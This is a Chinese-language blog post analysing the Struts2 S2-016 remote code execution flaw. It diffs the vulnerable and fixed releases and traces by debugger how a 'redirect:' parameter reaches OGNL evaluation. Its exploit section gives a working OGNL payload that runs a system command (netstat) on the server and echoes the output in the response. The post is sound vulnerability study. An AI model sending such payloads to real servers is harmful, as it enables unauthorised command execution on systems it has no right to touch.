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【漏洞分析】S2-016远程代码执行漏洞分析

【漏洞分析】S2-016远程代码执行漏洞分析

作者: Pino_HD | 来源:发表于2018-05-28 13:10 被阅读0次

    0x01 前言

    最近在学习java安全,第一个目标就是Struts了,准备找一些比较典型的Struts漏洞进行一系列的分析。

    0x02 漏洞分析

    首先到Struts2的官方文档中找一下S2-016漏洞的文档

    官方文档

    看文档主要是找到该漏洞的版本,由图可知,该漏洞发生在Struts2.0.0 - Struts2.3.15,并且在Struts 2.3.15.1中得到修复,那么我们就将Struts 2.3.15和Struts 2.3.15.3两个版本的源码下载下载

    使用Beyond Compare工具进行对比,注意要把比较时间戳的选项去掉


    找了半天发现就一处不一样
    /core/src/main/java/org/apache/struts2/dispatcher/mapper/DefaultActionMapper.java

    通过对比,发现 REDIRECT_PREFIX、REDIRECT_ACTION_PREFIX被删掉了


    同时他们配套的put方法也被删掉了


    还有一个就是action对应的put方法中添加了一个cleanActionName方法


    看了一下官方文档给的poc


    我选择在redirect配套的put方法中加断点,看看情况是如何的。



    在这里,有一个匿名类的用法,同时声明并执行了一个execute函数,看一下监视器中的变量



    发现这里传入的key是
    redirect:%{3*4}
    

    也就是我传入的参数,那么这部分就是用户可控的地方。继续往下走setLocation方法就是这是重定向的值,最后把用户输入的重定向的值设置为result,result的一般在struts.xml中可以用标签来设置的,这里是用

    ?redirect:xxx
    

    来设置的。
    继续往下走,发现跳出了put方法



    发现到了DefaultActionMapper类中的handleSpecialParameters函数中(这里可以记下来,如果后续没有思路的话可以回溯往上再找找看),此处我选择继续往下跟进。
    多次step over和step into之后,发现跳到了StrutsPreparedAndExecuteFilter类的doFilter函数中,这个是Struts2的核心过滤器,每个请求都会到达这个类的这个函数中。



    step into execute.executeAction中看一下,其中该方法的参数,request和response没什么好说的,mapping是请求的参数,包括redierect的location、Action的名称、namespace等等,继续跟进发现进入Dispatcher类中

    其中有一个result.execute,进去看看


    发现进入了ServletRedirectResult类的execute方法,其中还要进入他的父类ServletResultSupport的execute方法



    继续跟进到conditionalParse方法中



    进入到了StrutsResultSupport类中的conditionalParse方法,其中我们看到了translateVariables方法,这个方法其实就是一个可以执行ognl表达式的方法,继续分析一下

    getStack()方法返回的就是OgnlValueStack,而param是%{3*4}刚好是我们输入的参数,满足参数可控,继续跟进



    进入到了TextParseUtil类中,我们看到第一个参数是
    new char[]{'$','%'}
    

    也就是说我们输入%{xxxx}或者${xxx}都可以执行
    之后我们进入translateVariables方法中


    执行到parser.evaluate的时候跟进入,函数源码如下:

    public Object evaluate(char[] openChars, String expression, TextParseUtil.ParsedValueEvaluator evaluator, int maxLoopCount) {
            // deal with the "pure" expressions first!
            //expression = expression.trim();
            Object result = expression;
            int pos = 0;
    
            for (char open : openChars) {
                int loopCount = 1;
                //this creates an implicit StringBuffer and shouldn't be used in the inner loop
                final String lookupChars = open + "{";
    
                while (true) {
                    int start = expression.indexOf(lookupChars, pos);
                    if (start == -1) {
                        loopCount++;
                        start = expression.indexOf(lookupChars);
                    }
                    if (loopCount > maxLoopCount) {
                        // translateVariables prevent infinite loop / expression recursive evaluation
                        break;
                    }
                    int length = expression.length();
                    int x = start + 2;
                    int end;
                    char c;
                    int count = 1;
                    //检查表达式中的格式是否是%{}或者${},‘{’或者‘}’不能多也不能少
                    while (start != -1 && x < length && count != 0) {  
                        c = expression.charAt(x++);
                        if (c == '{') {
                            count++;
                        } else if (c == '}') {
                            count--;
                        }
                    }
                    end = x - 1;
    
                    if ((start != -1) && (end != -1) && (count == 0)) {
                        String var = expression.substring(start + 2, end); //获取大括号中的内容
    
                        Object o = evaluator.evaluate(var);//执行了ognl表达式,返回结果
    
                        String left = expression.substring(0, start);
                        String right = expression.substring(end + 1);
                        String middle = null;
                        if (o != null) {
                            middle = o.toString();
                            if (StringUtils.isEmpty(left)) {
                                result = o;
                            } else {
                                result = left.concat(middle);
                            }
    
                            if (StringUtils.isNotEmpty(right)) {
                                result = result.toString().concat(right);
                            }
    
                            expression = left.concat(middle).concat(right);
                        } else {
                            // the variable doesn't exist, so don't display anything
                            expression = left.concat(right);
                            result = expression;
                        }
                        pos = (left != null && left.length() > 0 ? left.length() - 1: 0) +
                                (middle != null && middle.length() > 0 ? middle.length() - 1: 0) +
                                1;
                        pos = Math.max(pos, 1);
                    } else {
                        break;
                    }
                }
            }
            return result;
        }
    
    当执行到这里,再次进入

    一路跟进,发现最后由Ognl类的getValue执行了ognl表达式


    得到了结果12


    0x03 exp编写

    ${#a=new java.lang.ProcessBuilder(new java.lang.String[]{"netstat","-an"}).start().getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#screen=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#screen.println(#d),#screen.close()}
    
    

    注意要进行url编码

    0x04 总结

    • translateVariable能够执行ognl表达式
    • org.apache.struts2.dispatcher.StrutsResultSupport类中的conditionalParse能够解析ognl表达式
    • 所有的请求会到StrutsPreparedAndExecute类的doFilter中
    • exp中使用#content.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter().printnln()来回显

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